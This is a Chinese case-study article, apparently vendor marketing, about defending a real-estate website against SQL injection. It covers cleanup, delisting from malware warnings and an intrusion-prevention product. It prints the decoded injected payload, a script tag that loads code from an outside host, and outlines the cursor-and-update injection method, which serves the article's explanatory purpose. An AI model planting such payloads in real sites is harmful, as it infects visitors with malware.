网站SQL注入防御实战
SQL注入作为直接威胁web业务的最严重攻击行为,已经被大多数的网站管理员所了解,这种通过HTTP标准端口,利用网页编码不严谨,提交精心构造的代码实现对数据库非授权访问的攻击方法,已经被越来越多的scriptguy(脚本小子)成功掌握并广泛实践。没错,他们可能并不知道SQL注入的原理,不知道ASP,不知道PHP,但他们有工具,全自动的,完善的,高效率的工具,这些工具使得任何一个有简单网络知识的中学学生可以很容易的拿到某个政府网站的最高管理员权限,而且做这些事情并不会比你在周六的中午下楼去买一听可乐要更困难。
而随着互联网黑色产业链的浮出水面,骇客们发现攻击网站不仅仅可以用作向朋友炫耀的资本,还可以作为购买游戏点卡或者是数码相机的资金来源:在被攻击的网站嵌入脚本木马,可以轻易盗窃那些访问了受攻击网站,但个人PC安全防护措施不全面用户的私密信息,比如游戏账号密码,或者是银行账号密码。
经常使用google的用户一定对这段话不陌生“该网站可能含有恶意软件,有可能会危害您的电脑”,这意味着这个网站也许已经遭遇挂马黑手,成为骇客们的众多取款点之一。本文就一例真实案例,来介绍一下网站的安全防护。
某市房地产网站的管理员小李刚上班就被叫到领导办公室去了,因为网站带上了google小尾巴:“该网站可能含有恶意软件,有可能会危害您的电脑”,购房者看到这一提示信息,纷纷给该市房产管理局打电话,于是就有了上面的一幕。回到座位上的小李一筹莫展:网站服务器已经全盘杀毒好几次了,没有发现病毒存在的痕迹,看来只能找专业安全厂商解决了。小李选择的是网络安全公司启明星辰,在向启明星辰公司提交web日志的第二天,小李就收到了回信,从日志的分析结果中,可以清楚的看到骇客的攻击走向:这是一次非常典型的SQL注入攻击,首先使用dEcLaRe建立游标,遍历数据库中所有允许写入字符串的相关字段,并通过执行exec操作,使用update语句替换了网站页面的正常文件,插入了如下一段十六进制字符:
经过解密,可以得到如下字符串
"> < /title> < script src= http://s.see9.us/s.js> < /script> < !—
这里面的http://s.see9.us/s.js就是导致网站带有小尾巴的罪魁祸首。
经过一天的奋力工作,网页中所有的小尾巴都清理干净了,在启明星辰安全工程师的建议下,小李还向StopBadware.org 申请了重新的索引,并向google提交了审核申请。做完了这些之后,小李又一次陷入了困扰:如何防范网站再次遭受SQL注入攻击呢?网络上提供了一些代码修改级的防御方法,可是需要对每一个页面都做仔细的检查,看着自己所负责网站的10000余个页面,小李只能是苦笑,联想起2007年夏天那次微软英国网站被SQL注入的案例,小李在内心否认了彻底检查一遍页面代码的做法。关键时刻,又是启明星辰的安全工程师提出了建议:部署天清入侵防御产品,利用天清IPS的基于注入攻击手法的检测原理,可以对各种SQL注入攻击的变种进行防御。和传统的SQL注入防御方法不一样的是,天清入侵防御产品可以独立部署,不需要对被保护的web系统做任何修改,而且和那些基于特征的检测方法不一样的是,天清IPS采用的VSID算法关注的是攻击手法而非攻击代码,其检测准确率有很大改善。
在部署了入侵防御产品的当天晚上,小李就在入侵防御产品的控制中心看到了发现了SQL注入攻击并被阻断的报警信息,而网站安然无恙。
友情提示:对于防御SQL注入攻击,检查网页代码是必要的,骇客获得网站权限,并不仅仅为了炫耀,可能还会有更肮脏的目的;其次,你需要做的事是挽回名誉损失,毕竟挂上google小尾巴不是件光荣的事;最后,你绝对不能忘记的事还有修补漏洞,在没有“打扫”干净你的系统前,骇客进出你的网络将会像喝下午茶一样简单,你可以选择修改源代码来过滤关键字(记住不要矫枉过正,笔者就见过不允许用户名叫select/and等SQL关键字的网站),或者是你也可以选择使用专业的IPS产品。
网站SQL注入防御实战的更多相关文章
- 电子商务网站SQL注入项目实战一例(转载)
故事A段:发现整站SQL对外输出: 有个朋友的网站,由于是外包项目,深圳某公司开发的,某天我帮他检测了一下网站相关情况. 我查看了页面源代码,发现了个惊人的事情,竟然整站打印SQL到Html里,着实吓 ...
- Bypass 护卫神SQL注入防御(多姿势)
0x00 前言 护卫神一直专注服务器安全领域, 其中有一款产品,护卫神·入侵防护系统 ,提供了一些网站安全防护的功能,在IIS加固模块中有一个SQL防注入功能. 这边主要分享一下几种思路,Bypa ...
- Bypass 360主机卫士SQL注入防御(多姿势)
0x00 前言 在服务器客户端领域,曾经出现过一款360主机卫士,目前已停止更新和维护,官网都打不开了,但服务器中依然经常可以看到它的身影.从半年前的测试虚拟机里面,翻出了360主机卫士Apache版 ...
- 21. Bypass D盾_防火墙(旧版 and 新版)SQL注入防御(多姿势)
D盾旧版: 00前言 D盾_IIS防火墙,目前只支持Win2003服务器,前阵子看见官方博客说D盾新版将近期推出,相信功能会更强大,这边分享一下之前的SQL注入防御的测试情况.D盾_IIS防火墙注入防 ...
- 15. Bypass 360主机卫士SQL注入防御(多姿势)
在服务器客户端领域,曾经出现过一款 360 主机卫士,目前已停止更新和维护,官网都打不开了,但服务器中依然经常可以看到它的身影. 从半年前的测试虚拟机里面,翻出了 360 主机卫士 Apache 版的 ...
- Bypass ngx_lua_waf SQL注入防御(多姿势)
0x00 前言 ngx_lua_waf是一款基于ngx_lua的web应用防火墙,使用简单,高性能.轻量级.默认防御规则在wafconf目录中,摘录几条核心的SQL注入防御规则: select.+ ...
- Bypass X-WAF SQL注入防御(多姿势)
0x00 前言 X-WAF是一款适用中.小企业的云WAF系统,让中.小企业也可以非常方便地拥有自己的免费云WAF. 本文从代码出发,一步步理解WAF的工作原理,多姿势进行WAF Bypass. ...
- Bypass D盾_IIS防火墙SQL注入防御(多姿势)
0X01 前言 D盾_IIS防火墙,目前只支持Win2003服务器,前阵子看见官方博客说D盾新版将近期推出,相信功能会更强大,这边分享一下之前的SQL注入防御的测试情况.D盾_IIS防火墙注入防御策略 ...
- 23. Bypass ngx_lua_waf SQL注入防御(多姿势)
0x00 前言 ngx_lua_waf是一款基于ngx_lua的web应用防火墙,使用简单,高性能.轻量级.默认防御规则在wafconf目录中,摘录几条核心的SQL注入防御规则: select.+(f ...
随机推荐
- 一站式超全JavaScript数组方法大全
一站式JavaScript数组方法大全(建议收藏) 方法一览表 详细操作 本人总结了JavaScript中有关数组的几乎所有方法(包含ES6之后新增的),并逐一用代码进行演示使用,希望可以帮助大家! ...
- SpringBoot自动配置的魔法
Spring自动配置 从@SpringBootApplication注解说起 SpringBoot会根据类路径下的类自动配置,省去了编写繁琐的xml配置文件.原本基于xml配置bean的方式编程基于J ...
- 部署Zabbix 6.0 LTS
Blog:博客园 个人 本部署文档适用于CentOS 8.X/RHEL 8.X/Anolis OS 8.X/AlmaLinux 8.X. Zabbix 6.0 LTS于2022年2月15日发布,本次大 ...
- [LeetCode]LCP 01. 猜数字
小A 和 小B 在玩猜数字.小B 每次从 1, 2, 3 中随机选择一个,小A 每次也从 1, 2, 3 中选择一个猜.他们一共进行三次这个游戏,请返回 小A 猜对了几次? 输入的guess数组为 小 ...
- NSSCTF-easyupload1.0
2.0和3.0已经说过,这个1.0上传也可以使用那两个题目的做法,就是使用htaccess的方式进行定义上传文件的类型来进行连接shell,1.0肯定是没有2.0和3.0难的,所以说,也不要将这个题目 ...
- Another app is currently holding the yum lock解决方法
用yum安装包有时候会提示 ``` Another app is currently holding the yum lock; waiting for it to exit... The oth ...
- SQL SERVER 学习过程(一)
还记得以前在学校的学习过数据库SQL SERVER 2008 R2 的教程,从学校毕业出来后的哪家单位基本没怎么使用过数据库,现在也忘得差不多了 做些相关的练习熟悉熟悉 --创建数据库-- creat ...
- HDFS的上传下载流程
hdfs上传流程 首先客户端向nn请求上传文件.nn经过检查回应客户端是否可以上传.客户端得到同意后向nn请求上传第一块文件的dn.nn返回给客户端dn的地址.客户端与其中一个dn1建立连接然后dn1 ...
- linux基础-jdk1.8和weblogic12.2.1.3.0安装
转至:https://www.cnblogs.com/jiarui-zjb/p/9642416.html 1.环境探查与准备 安装jdk和weblogic前需要对进行安装的linux系统硬件和软件环境 ...
- JavaWeb-JDBC-Mybatis-Junit-Maven-Lombok
Java与数据库 初识JDBC JDBC是什么? JDBC英文名为:Java Data Base Connectivity(Java数据库连接),官方解释它是Java编程语言和广泛的数据库之间独立于数 ...